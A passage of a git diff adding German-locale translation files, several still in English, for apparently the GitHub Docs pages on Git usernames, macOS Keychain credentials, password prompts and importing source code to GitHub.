+Den Namen, der mit deinen Git-Commits verbunden ist, kannst du mit dem Befehl `git config` ändern. Der neue Name wird bei allen zukünftigen Commits angezeigt, die du über die Befehlszeile an {% data variables.product.product_name %} pushst. Als Git-Benutzernamen kannst du einen beliebigen Text verwenden, um deinen echten Namen privat zu halten.
+
+Eine Änderung deines Namens für Git-Commits mit dem Befehl `git config` wirkt sich nur auf zukünftige Commits aus. Der für frühere Commits verwendete Name wird hierdurch nicht geändert.
+
+## Festlegen eines Git-Benutzernamens für *alle* Repositorys auf deinem Computer
+
+{% data reusables.command_line.open_the_multi_os_terminal %}
+
+2. {% data reusables.user-settings.set_your_git_username %}
+   ```shell
+   $ git config --global user.name "<em>Mona Lisa</em>"
+   ```
+
+3. {% data reusables.user-settings.confirm_git_username_correct %}
+   ```shell
+   $ git config --global user.name
+   > Mona Lisa
+   ```
+
+## Git-Benutzername für ein einzelnes Repository festlegen
+
+{% data reusables.command_line.open_the_multi_os_terminal %}
+
+2. Ändere das aktuelle Arbeitsverzeichnis in das lokale Repository, für das du den Benutzernamen für deine Git-Commits festlegen möchtest.
+
+3. {% data reusables.user-settings.set_your_git_username %}
+   ```shell
+   $ git config user.name "<em>Mona Lisa</em>"
+   ```
+
+3. {% data reusables.user-settings.confirm_git_username_correct %}
+   ```shell
+   $ git config user.name
+   > Mona Lisa
+   ```
+
+## Weitere Informationsquellen
+
+- [E-Mail-Adresse für Commits festlegen](/articles/setting-your-commit-email-address)
+- ["Git-Konfiguration" aus dem _Pro Git_-Buch](https://git-scm.com/book/en/Customizing-Git-Git-Configuration)
diff --git a/translations/de-DE/content/get-started/getting-started-with-git/updating-credentials-from-the-macos-keychain.md b/translations/de-DE/content/get-started/getting-started-with-git/updating-credentials-from-the-macos-keychain.md
new file mode 100644
index 0000000000..507b7c8f52
--- /dev/null
+++ b/translations/de-DE/content/get-started/getting-started-with-git/updating-credentials-from-the-macos-keychain.md
@@ -0,0 +1,50 @@
+---
+title: Updating credentials from the macOS Keychain
+intro: 'You''ll need to update your saved credentials in the `git-credential-osxkeychain` helper if you change your{% ifversion not ghae %} username, password, or{% endif %} {% data variables.product.pat_generic %} on {% data variables.product.product_name %}.'
+redirect_from:
+  - /articles/updating-credentials-from-the-osx-keychain
+  - /github/using-git/updating-credentials-from-the-osx-keychain
+  - /github/using-git/updating-credentials-from-the-macos-keychain
+  - /github/getting-started-with-github/updating-credentials-from-the-macos-keychain
+  - /github/getting-started-with-github/getting-started-with-git/updating-credentials-from-the-macos-keychain
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: macOS Keychain credentials
+---
+{% tip %}
+
+**Note:** Updating credentials from the macOS Keychain only applies to users who manually configured a {% data variables.product.pat_generic %} using the  `osxkeychain` helper that is built-in to macOS. 
+
+We recommend you either [configure SSH](/articles/generating-an-ssh-key) or upgrade to the [Git Credential Manager](/get-started/getting-started-with-git/caching-your-github-credentials-in-git) (GCM) instead. GCM can manage authentication on your behalf (no more manual {% data variables.product.pat_generic %}s) including 2FA (two-factor auth).
+
+{% endtip %}
+
+{% data reusables.user-settings.password-authentication-deprecation %}
+
+## Updating your credentials via Keychain Access
+
+1. Click on the Spotlight icon (magnifying glass) on the right side of the menu bar. Type `Keychain access` then press the Enter key to launch the app.
+   ![Spotlight Search bar](/assets/images/help/setup/keychain-access.png)
+2. In Keychain Access, search for **{% data variables.command_line.backticks %}**.
+3. Find the "internet password" entry for `{% data variables.command_line.backticks %}`.
+4. Edit or delete the entry accordingly.
+
+## Deleting your credentials via the command line
+
+Through the command line, you can use the credential helper directly to erase the keychain entry.
+
+```shell
+$ git credential-osxkeychain erase
+host={% data variables.command_line.codeblock %}
+protocol=https
+> [Press Return]
+```
+
+If it's successful, nothing will print out. To test that it works, try and clone a private repository from {% data variables.location.product_location %}. If you are prompted for a password, the keychain entry was deleted.
+
+## Further reading
+
+- "[Caching your {% data variables.product.prodname_dotcom %} credentials in Git](/github/getting-started-with-github/caching-your-github-credentials-in-git/)"
diff --git a/translations/de-DE/content/get-started/getting-started-with-git/why-is-git-always-asking-for-my-password.md b/translations/de-DE/content/get-started/getting-started-with-git/why-is-git-always-asking-for-my-password.md
new file mode 100644
index 0000000000..284df7ffb1
--- /dev/null
+++ b/translations/de-DE/content/get-started/getting-started-with-git/why-is-git-always-asking-for-my-password.md
@@ -0,0 +1,26 @@
+---
+title: Why is Git always asking for my password?
+intro: 'If Git prompts you for a username and password every time you try to interact with GitHub, you''re probably using the HTTPS clone URL for your repository.'
+redirect_from:
+  - /articles/why-is-git-always-asking-for-my-password
+  - /github/using-git/why-is-git-always-asking-for-my-password
+  - /github/getting-started-with-github/why-is-git-always-asking-for-my-password
+  - /github/getting-started-with-github/getting-started-with-git/why-is-git-always-asking-for-my-password
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Git passwords
+---
+Using an HTTPS remote URL has some advantages compared with using SSH. It's easier to set up than SSH, and usually works through strict firewalls and proxies. However, it also prompts you to enter your {% data variables.product.product_name %} credentials every time you pull or push a repository. 
+
+{% data reusables.user-settings.password-authentication-deprecation %}
+
+You can avoid being prompted for your password by configuring Git to [cache your credentials](/github/getting-started-with-github/caching-your-github-credentials-in-git) for you. Once you've configured credential caching, Git automatically uses your cached {% data variables.product.pat_generic %} when you pull or push a repository using HTTPS.
+
+## Further reading
+
+- "[About remote repositories](/github/getting-started-with-github/about-remote-repositories)."
+- "[About authentication to {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github)"
+- "[Adding your SSH key to the ssh-agent](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#adding-your-ssh-key-to-the-ssh-agent)"
diff --git a/translations/de-DE/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/about-github-importer.md b/translations/de-DE/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/about-github-importer.md
new file mode 100644
index 0000000000..4bbe1b98ff
--- /dev/null
+++ b/translations/de-DE/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/about-github-importer.md
@@ -0,0 +1,36 @@
+---
+title: Informationen zu GitHub Importer
+intro: 'Mithilfe von GitHub Importer kannst du Quellcode in Subversion, Mercurial, Team Foundation Version Control (TFVC) oder einem anderen Git-Repository zu GitHub verschieben.'
+redirect_from:
+  - /articles/about-github-importer
+  - /github/importing-your-projects-to-github/about-github-importer
+  - /github/importing-your-projects-to-github/importing-source-code-to-github/about-github-importer
+versions:
+  fpt: '*'
+  ghec: '*'
+ms.openlocfilehash: 86fa3129982afcdf99da7879792881c522d4a6fc
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145131258'
+---
+GitHub Importer ist ein Tool, das Quellcode-Repositorys, einschließlich Commits und Revisionsverlauf, für Dich schnell in GitHub importiert.
+
+![GIF zum Import eines Repositorys](/assets/images/help/importer/github-importer.gif)
+
+Während eines Imports kannst du je nach dem Versionskontrollsystem, aus dem du importierst, mit deinem Remote-Repository authentifizieren, die Zuordnung von Commit-Autoren aktualisieren und Repositorys mit großen Dateien importieren (oder große Dateien entfernen, wenn du Git Large File Storage (Git Große Dateien Speicher) nicht verwenden möchtest).
+
+| Importaktion | Subversion | Mercurial | TFVC | Git |
+|:--------------|:----------:|:---------:|:----------------------:|:---:|
+| Mit Remote-Repository authentifizieren | **X** | **X** | **X** | **X** |
+| [Zuordnung von Commit-Autoren aktualisieren](/articles/updating-commit-author-attribution-with-github-importer) | **X** | **X** | **X** | |
+| Große Dateien in [Git Large File Storage](/articles/about-git-large-file-storage) verschieben | **X** | **X** | **X** | |
+| Große Dateien aus deinem Repository entfernen | **X** | **X** | **X** | |
+
+## Weitere Informationsquellen
+
+- [Ein Repository mit GitHub Importer importieren](/articles/importing-a-repository-with-github-importer)
+- [Aktualisieren der Zuordnung von Commit-Autoren mit GitHub Importer](/articles/updating-commit-author-attribution-with-github-importer)
+- [Importieren eines Git-Repositorys über die Befehlszeile](/articles/importing-a-git-repository-using-the-command-line)
+- [Tools für die Quellcodemigration](/articles/source-code-migration-tools)
diff --git a/translations/de-DE/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/adding-locally-hosted-code-to-github.md b/translations/de-DE/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/adding-locally-hosted-code-to-github.md
new file mode 100644
index 0000000000..d42181b790
--- /dev/null
+++ b/translations/de-DE/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/adding-locally-hosted-code-to-github.md
@@ -0,0 +1,196 @@
+---
+title: Adding locally hosted code to GitHub
+intro: 'Learn how to add existing source code or repositories to {% data variables.product.product_name %} from the command line using {% data variables.product.prodname_cli %} or Git Commands. Then, share your code and invite others to work with you.'
+redirect_from:
+  - /articles/add-an-existing-project-to-github
+  - /articles/adding-an-existing-project-to-github-using-the-command-line
+  - /github/importing-your-projects-to-github/adding-an-existing-project-to-github-using-the-command-line
+  - /github/importing-your-projects-to-github/importing-source-code-to-github/adding-an-existing-project-to-github-using-the-command-line
+  - /get-started/importing-your-projects-to-github/importing-source-code-to-github/adding-an-existing-project-to-github-using-the-command-line
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Add locally hosted code
+---
+
+## About adding existing source code to {% data variables.product.product_name %}
+
+If you have existing source code or repositories stored locally on your computer or private network you can add them to {% data variables.product.product_name %} by typing commands in a terminal. You can do this by typing Git commands directly, or by using {% data variables.product.prodname_cli %}.
+
+{% data variables.product.prodname_cli %} is an open source tool for using {% data variables.product.prodname_dotcom %} from your computer's command line. {% data variables.product.prodname_cli %} can simplify the process of adding an existing project to {% data variables.product.product_name %} using the command line. To learn more about {% data variables.product.prodname_cli %}, see "[About {% data variables.product.prodname_cli %}](/github-cli/github-cli/about-github-cli)."
+
+{% tip %}
+
+**Tip:** If you're most comfortable with a point-and-click user interface, try adding your project with {% data variables.product.prodname_desktop %}. For more information, see "[Adding a repository from your local computer to GitHub Desktop](/desktop/guides/contributing-to-projects/adding-a-repository-from-your-local-computer-to-github-desktop)" in the *{% data variables.product.prodname_desktop %} Help*.
+
+{% endtip %}
+
+{% data reusables.repositories.sensitive-info-warning %}
+
+## Adding a local repository to {% data variables.product.product_name %} with {% data variables.product.prodname_cli %}
+
+1. In the command line, navigate to the root directory of your project.
+1. Initialize the local directory as a Git repository.
+
+    ```shell
+    git init -b main
+    ```
+
+1. Stage and commit all the files in your project.
+
+   ```shell
+   git add . && git commit -m "initial commit"
+   ```
+
+1. To create a repository for your project on GitHub, use the `gh repo create` subcommand. When prompted, select **Push an existing local repository to GitHub** and enter the desired name for your repository. If you want your project to belong to an organization instead of your user account, specify the organization name and project name with `organization-name/project-name`.
+
+1. Follow the interactive prompts. To add the remote and push the repository, confirm yes when asked to add the remote and push the commits to the current branch.
+
+1. Alternatively, to skip all the prompts, supply the path to the repository with the `--source` flag and pass a visibility flag (`--public`, `--private`, or `--internal`). For example, `gh repo create --source=. --public`. Specify a remote with the `--remote` flag. To push your commits, pass the `--push` flag. For more information about possible arguments, see the [GitHub CLI manual](https://cli.github.com/manual/gh_repo_create).
+
+## Adding a local repository to {% data variables.product.product_name %} using Git
+
+{% mac %}
+
+1. [Create a new repository](/repositories/creating-and-managing-repositories/creating-a-new-repository) on {% data variables.location.product_location %}. To avoid errors, do not initialize the new repository with *README*, license, or `gitignore` files. You can add these files after your project has been pushed to {% data variables.product.product_name %}.
+	![Create New Repository drop-down](/assets/images/help/repository/repo-create.png)
+{% data reusables.command_line.open_the_multi_os_terminal %}
+3. Change the current working directory to your local project.
+4. Use the `init` command to initialize the local directory as a Git repository. By default, the initial branch is called `master`.
+   
+   If you’re using Git 2.28.0 or a later version, you can set the name of the default branch using `-b`.
+
+   ``` shell
+   $ git init -b main
+   ```
+
+   If you’re using Git 2.27.1 or an earlier version, you can set the name of the default branch using  `&& git symbolic-ref HEAD refs/heads/main`.
+
+   ``` shell
+   $ git init && git symbolic-ref HEAD refs/heads/main
+   ```
+5. Add the files in your new local repository. This stages them for the first commit.
+  
+  ```shell
+  $ git add .
+  # Adds the files in the local repository and stages them for commit. {% data reusables.git.unstage-codeblock %}
+  ```
+6. Commit the files that you've staged in your local repository.
+  ```shell
+  $ git commit -m "First commit"
+  # Commits the tracked changes and prepares them to be pushed to a remote repository. {% data reusables.git.reset-head-to-previous-commit-codeblock %}
+  ```
+7. At the top of your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL.
+	![Copy remote repository URL field](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png)
+8. In Terminal, [add the URL for the remote repository](/github/getting-started-with-github/managing-remote-repositories) where your local repository will be pushed.
+  ```shell
+  $ git remote add origin &lt;REMOTE_URL>
+  # Sets the new remote
+  $ git remote -v
+  # Verifies the new remote URL
+  ```
+9. [Push the changes](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) in your local repository to {% data variables.location.product_location %}.
+  ```shell
+  $ git push -u origin main
+  # Pushes the changes in your local repository up to the remote repository you specified as the origin
+  ```
+
+{% endmac %}
+
+{% windows %}
+
+1. [Create a new repository](/articles/creating-a-new-repository) on {% data variables.location.product_location %}. To avoid errors, do not initialize the new repository with *README*, license, or `gitignore` files. You can add these files after your project has been pushed to {% data variables.product.product_name %}.
+	![Create New Repository drop-down](/assets/images/help/repository/repo-create.png)
+{% data reusables.command_line.open_the_multi_os_terminal %}
+3. Change the current working directory to your local project.
+4. Use the `init` command to initialize the local directory as a Git repository. By default, the initial branch is called `master`.
+   
+   If you’re using Git 2.28.0 or a later version, you can set the name of the default branch using `-b`.
+
+   ``` shell
+   $ git init -b main
+   ```
+
+   If you’re using Git 2.27.1 or an earlier version, you can set the name of the default branch using  `&& git symbolic-ref HEAD refs/heads/main`.
+
+   ``` shell
+   $ git init && git symbolic-ref HEAD refs/heads/main
+   ```
+5. Add the files in your new local repository. This stages them for the first commit.
+  ```shell
+  $ git add .
+  # Adds the files in the local repository and stages them for commit. {% data reusables.git.unstage-codeblock %}
+  ```
+6. Commit the files that you've staged in your local repository.
+  ```shell
+  $ git commit -m "First commit"
+  # Commits the tracked changes and prepares them to be pushed to a remote repository. {% data reusables.git.reset-head-to-previous-commit-codeblock %}
+  ```
+7. At the top of your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL.
+	![Copy remote repository URL field](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png)
+8. In the Command prompt, [add the URL for the remote repository](/github/getting-started-with-github/managing-remote-repositories) where your local repository will be pushed.
+  ```shell
+  $ git remote add origin &lt;REMOTE_URL>
+  # Sets the new remote
+  $ git remote -v
+  # Verifies the new remote URL
+  ```
+9. [Push the changes](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) in your local repository to {% data variables.location.product_location %}.
+  ```shell
+  $ git push origin main
+  # Pushes the changes in your local repository up to the remote repository you specified as the origin
+  ```
+
+{% endwindows %}
+
+{% linux %}
+
+1. [Create a new repository](/articles/creating-a-new-repository) on {% data variables.location.product_location %}. To avoid errors, do not initialize the new repository with *README*, license, or `gitignore` files. You can add these files after your project has been pushed to {% data variables.product.product_name %}.
+	![Create New Repository drop-down](/assets/images/help/repository/repo-create.png)
+{% data reusables.command_line.open_the_multi_os_terminal %}
+3. Change the current working directory to your local project.
+4. Use the `init` command to initialize the local directory as a Git repository. By default, the initial branch is called `master`.
+   
+   If you’re using Git 2.28.0 or a later version, you can set the name of the default branch using `-b`.
+
+   ``` shell
+   $ git init -b main
+   ```
+
+   If you’re using Git 2.27.1 or an earlier version, you can set the name of the default branch using  `&& git symbolic-ref HEAD refs/heads/main`.
+
+   ``` shell
+   $ git init && git symbolic-ref HEAD refs/heads/main
+   ```
+5. Add the files in your new local repository. This stages them for the first commit.
+  ```shell
+  $ git add .
+  # Adds the files in the local repository and stages them for commit. {% data reusables.git.unstage-codeblock %}
+  ```
+6. Commit the files that you've staged in your local repository.
+  ```shell
+  $ git commit -m "First commit"
+  # Commits the tracked changes and prepares them to be pushed to a remote repository. {% data reusables.git.reset-head-to-previous-commit-codeblock %}
+  ```
+7. At the top of your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL.
+	![Copy remote repository URL field](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png)
+8. In Terminal, [add the URL for the remote repository](/github/getting-started-with-github/managing-remote-repositories) where your local repository will be pushed.
+  ```shell
+  $ git remote add origin &lt;REMOTE_URL>
+  # Sets the new remote
+  $ git remote -v
+  # Verifies the new remote URL
+  ```
+9. [Push the changes](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) in your local repository to {% data variables.location.product_location %}.
+  ```shell
+  $ git push origin main
+  # Pushes the changes in your local repository up to the remote repository you specified as the origin
+  ```
+
+{% endlinux %}
+
+## Further reading
+
+- "[Adding a file to a repository](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository#adding-a-file-to-a-repository-using-the-command-line)"
diff --git a/translations/de-DE/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/importing-a-git-repository-using-the-command-line.md b/translations/de-DE/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/importing-a-git-repository-using-the-command-line.md
new file mode 100644
index 0000000000..c25bdf5f5c
--- /dev/null
+++ b/translations/de-DE/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/importing-a-git-repository-using-the-command-line.md
@@ -0,0 +1,47 @@
+---
+title: Importing a Git repository using the command line
+intro: '{% ifversion fpt %}If [GitHub Importer](/articles/importing-a-repository-with-github-importer) is not suitable for your purposes, such as if your existing code is hosted on a private network, then we recommend importing using the command line.{% else %}Importing Git projects using the command line is suitable when your existing code is hosted on a private network.{% endif %}'
+redirect_from:
+  - /articles/importing-a-git-repository-using-the-command-line
+  - /github/importing-your-projects-to-github/importing-a-git-repository-using-the-command-line
+  - /github/importing-your-projects-to-github/importing-source-code-to-github/importing-a-git-repository-using-the-command-line
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Import repo locally
+---
+Before you start, make sure you know:
+
+- Your {% data variables.product.product_name %} username
+- The clone URL for the external repository, such as `https://external-host.com/user/repo.git` or `git://external-host.com/user/repo.git` (perhaps with a `user@` in front of the `external-host.com` domain name)
+
+{% tip %}
+
+For purposes of demonstration, we'll use:
+
+- An external account named **extuser**
+- An external Git host named `https://external-host.com`
+- A {% data variables.product.product_name %} personal account named **ghuser**
+- A repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} named **repo.git**
+
+{% endtip %}
+
+1. [Create a new repository on {% data variables.product.product_name %}](/articles/creating-a-new-repository). You'll import your external Git repository to this new repository.
+2. On the command line, make a "bare" clone of the repository using the external clone URL. This creates a full copy of the data, but without a working directory for editing files, and ensures a clean, fresh export of all the old data.
+  ```shell
+  $ git clone --bare https://external-host.com/EXTUSER/REPO.git
+  # Makes a bare clone of the external repository in a local directory
+  ```
+3. Push the locally cloned repository to {% data variables.product.product_name %} using the "mirror" option, which ensures that all references, such as branches and tags, are copied to the imported repository.
+  ```shell
+  $ cd REPO.git
+  $ git push --mirror https://{% data variables.command_line.codeblock %}/USER/REPO.git
+  # Pushes the mirror to the new repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}
+  ```
+4. Remove the temporary local repository.
+  ```shell
+  $ cd ..
+  $ rm -rf REPO.git
+  ```
diff --git a/translations/de-DE/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/importing-a-repository-with-github-importer.md b/translations/de-DE/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/importing-a-repository-with-github-importer.md
new file mode 100644
index 0000000000..ab8be9b319
--- /dev/null
+++ b/translations/de-DE/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/importing-a-repository-with-github-importer.md
@@ -0,0 +1,46 @@
+---
+title: Importing a repository with GitHub Importer
+intro: 'If you have a project hosted on another version control system, you can automatically import it to GitHub using the GitHub Importer tool.'
+redirect_from:
+  - /articles/importing-from-other-version-control-systems-to-github
+  - /articles/importing-a-repository-with-github-importer
+  - /github/importing-your-projects-to-github/importing-a-repository-with-github-importer
+  - /github/importing-your-projects-to-github/importing-source-code-to-github/importing-a-repository-with-github-importer
+versions:
+  fpt: '*'
+  ghec: '*'
+shortTitle: Use GitHub Importer
+---
+{% tip %}
+
+**Tip:** GitHub Importer is not suitable for all imports. For example, if your existing code is hosted on a private network, our tool won't be able to access it. In these cases, we recommend [importing using the command line](/articles/importing-a-git-repository-using-the-command-line) for Git repositories or an external [source code migration tool](/articles/source-code-migration-tools) for projects imported from other version control systems.
+
+{% endtip %}
+
+If you'd like to match the commits in your repository to the authors' GitHub personal accounts during the import, make sure every contributor to your repository has a GitHub account before you begin the import.
+
+{% data reusables.repositories.repo-size-limit %}
+
+1. In the upper-right corner of any page, click {% octicon "plus" aria-label="Plus symbol" %}, and then click **Import repository**.
+![Import repository option in new repository menu](/assets/images/help/importer/import-repository.png)
+2. Under "Your old repository's clone URL", type the URL of the project you want to import.
+![Text field for URL of imported repository](/assets/images/help/importer/import-url.png)
+3. Choose your personal account or an organization to own the repository, then type a name for the repository on GitHub.
+![Repository owner menu and repository name field](/assets/images/help/importer/import-repo-owner-name.png)
+4. Specify whether the new repository should be *public* or *private*. For more information, see "[Setting repository visibility](/articles/setting-repository-visibility)."
+![Public or private repository radio buttons](/assets/images/help/importer/import-public-or-private.png)
+5. Review the information you entered, then click **Begin import**.
+![Begin import button](/assets/images/help/importer/begin-import-button.png)
+6. If your old project requires credentials, type your login information for that project, then click **Submit**. 
+If SAML SSO or 2FA are enabled for your user account on the old project, enter a {% data variables.product.pat_generic %} with repository read permissions in the "Password" field instead of your password.
+![Password form and Submit button for password-protected project](/assets/images/help/importer/submit-old-credentials-importer.png)
+7. If there are multiple projects hosted at your old project's clone URL, choose the project you'd like to import, then click **Submit**.
+![List of projects to import and Submit button](/assets/images/help/importer/choose-project-importer.png)
+8. If your project contains files larger than 100 MB, choose whether to import the large files using [Git Large File Storage](/articles/versioning-large-files), then click **Continue**.
+![Git Large File Storage menu and Continue button](/assets/images/help/importer/select-gitlfs-importer.png)
+
+You'll receive an email when the repository has been completely imported.
+
+## Further reading
+
+- "[Updating commit author attribution with GitHub Importer](/articles/updating-commit-author-attribution-with-github-importer)"
diff --git a/translations/de-DE/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/index.md b/translations/de-DE/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/index.md
new file mode 100644
index 0000000000..a9c7164ee0
--- /dev/null
+++ b/translations/de-DE/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/index.md
@@ -0,0 +1,31 @@
+---
+title: Quellcode in GitHub importieren
+intro: 'Du kannst Repositorys über {% ifversion fpt %}GitHub Importer, die Befehlszeile{% else %}die Befehlszeile{% endif %} oder mit externen Migrationstools nach GitHub importieren.'
+redirect_from:
+  - /articles/importing-an-external-git-repository
+  - /articles/importing-from-bitbucket
+  - /articles/importing-an-external-git-repo
+  - /articles/importing-your-project-to-github
+  - /articles/importing-source-code-to-github
+  - /github/importing-your-projects-to-github/importing-source-code-to-github
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+children:
+  - /about-github-importer
+  - /importing-a-repository-with-github-importer
+  - /updating-commit-author-attribution-with-github-importer
+  - /importing-a-git-repository-using-the-command-line
+  - /adding-locally-hosted-code-to-github
+  - /source-code-migration-tools
+shortTitle: Import code to GitHub
+ms.openlocfilehash: c1dbafeb3e69a65dd654a4dc7223051a58a937da
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145131249'
+---
+
diff --git a/translations/de-DE/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/source-code-migration-tools.md b/translations/de-DE/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/source-code-migration-tools.md
new file mode 100644
index 0000000000..49eae6f029
--- /dev/null
+++ b/translations/de-DE/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/source-code-migration-tools.md
@@ -0,0 +1,64 @@
+---
+title: Tools für die Quellcode-Migration
+intro: Für die Migration Deiner Projekte nach GitHub kannst Du externe Werkzeuge verwenden.
+redirect_from:
+  - /articles/importing-from-subversion
+  - /articles/source-code-migration-tools
+  - /github/importing-your-projects-to-github/source-code-migration-tools
+  - /github/importing-your-projects-to-github/importing-source-code-to-github/source-code-migration-tools
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Code migration tools
+ms.openlocfilehash: 7877d435e7971f669d9d49a70d2d2450371b5159
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147882167'
+---
+{% ifversion fpt or ghec %}
+
+Wir empfehlen, [GitHub Importer](/articles/about-github-importer) zum Importieren von Projekten aus Subversion, Mercurial, Team Foundation-Versionskontrolle (TFVC) oder einem anderen Git-Repository zu verwenden. Auch diese externen Werkzeuge können für die Konvertierung Deines Projekts für Git verwendet werden.
+
+{% endif %}
+
+## Import aus Subversion
+
+In einer typischen Subversion-Umgebung sind in einem Root-Repository mehrere Projekte gespeichert. Auf GitHub wird in der Regel jedes dieser Projekte einem eigenen Git-Repository eines persönlichen Kontos oder einer Organisation zugeordnet. Wir empfehlen Dir in den folgenden Situationen den Import jedes Teils Deines Subversion-Repositorys in ein separates GitHub-Repository:
+
+* Check-outs und Commits durch die Mitarbeiter zu diesem Teil des Projekts erfolgen getrennt von den anderen Teilen
+* Für die einzelnen Teile sollen unterschiedliche Zugriffsberechtigungen verwendet werden
+
+Für die Konvertierung von Subversion-Repositorys nach Git empfehlen wir folgende Werkzeuge:
+
+- [`git-svn`](https://git-scm.com/docs/git-svn)
+- [svn2git](https://github.com/nirvdrum/svn2git)
+
+## Import aus Mercurial
+
+Wir empfehlen [hg-fast-export](https://github.com/frej/fast-export) zum Konvertieren von Mercurial-Repositorys zu Git.
+
+## Importieren aus TFVC
+
+Wir empfehlen [git-tfs](https://github.com/git-tfs/git-tfs) zum Übertragen von Änderungen zwischen TFVC und Git.
+
+Weitere Informationen zum Wechsel von TFVC (einem zentralisierten Versionskontrollsystem) zu Git findest du unter „[Planen der Migration zu Git](https://docs.microsoft.com/devops/develop/git/centralized-to-git)“ auf der Website mit der Microsoft-Dokumentation.
+
+{% tip %}
+
+**Tipp:** Nachdem du dein Projekt erfolgreich in Git konvertierst hast, kannst du es an [{% data variables.product.prodname_dotcom %} pushen](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/).
+
+{% endtip %}
+
+{% ifversion fpt or ghec %}
+
+## Weiterführende Themen
+
+- [Informationen zu GitHub Importer](/articles/about-github-importer)
+- [Ein Repository mit GitHub Importer importieren](/articles/importing-a-repository-with-github-importer)
+- [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %})
+
+{% endif %}
diff --git a/translations/de-DE/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/updating-commit-author-attribution-with-github-importer.md b/translations/de-DE/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/updating-commit-author-attribution-with-github-importer.md
new file mode 100644
index 0000000000..b3a722a5af
--- /dev/null
+++ b/translations/de-DE/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/updating-commit-author-attribution-with-github-importer.md
@@ -0,0 +1,50 @@
+---
+title: Zuordnung von Commit-Autoren mit GitHub Importer aktualisieren
+intro: Während eines Imports kannst du die Commits in deinem Repository mit den GitHub-Konten der Commitautor*innen abgleichen.
+redirect_from:
+  - /articles/updating-commit-author-attribution-with-github-importer
+  - /github/importing-your-projects-to-github/updating-commit-author-attribution-with-github-importer
+  - /github/importing-your-projects-to-github/importing-source-code-to-github/updating-commit-author-attribution-with-github-importer
+versions:
+  fpt: '*'
+  ghec: '*'
+shortTitle: Update author GitHub Importer
+ms.openlocfilehash: 900f71e966f8f8f00a4645286b52592abf06ac48
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145131237'
+---
+GitHub Importer sucht nach GitHub-Benutzern, deren E-Mail-Adressen mit denen der Autoren der Commits im importierten Repository übereinstimmen. Dann kannst du einen Commit mit seinem Autoren verbinden, entweder mittels seiner E-Mail-Adresse oder seinem GitHub-Benutzernamen.
+
+## Commit-Autoren aktualisieren
+
+1. Klicke nach dem Import deines Repositorys auf der Importstatusseite auf **Autoren abgleichen**.
+![Schaltfläche „Autoren abgleichen“](/assets/images/help/importer/match-authors-button.png)
+2. Klicke neben dem Autor, dessen Informationen du aktualisieren möchtest, auf **Verbinden**.
+![Liste der Commit-Autoren](/assets/images/help/importer/connect-commit-author.png)
+3. Gib die E-Mail-Adresse oder den GitHub-Benutzernamen des Autors ein, und drücke dann die **EINGABETASTE**.
+
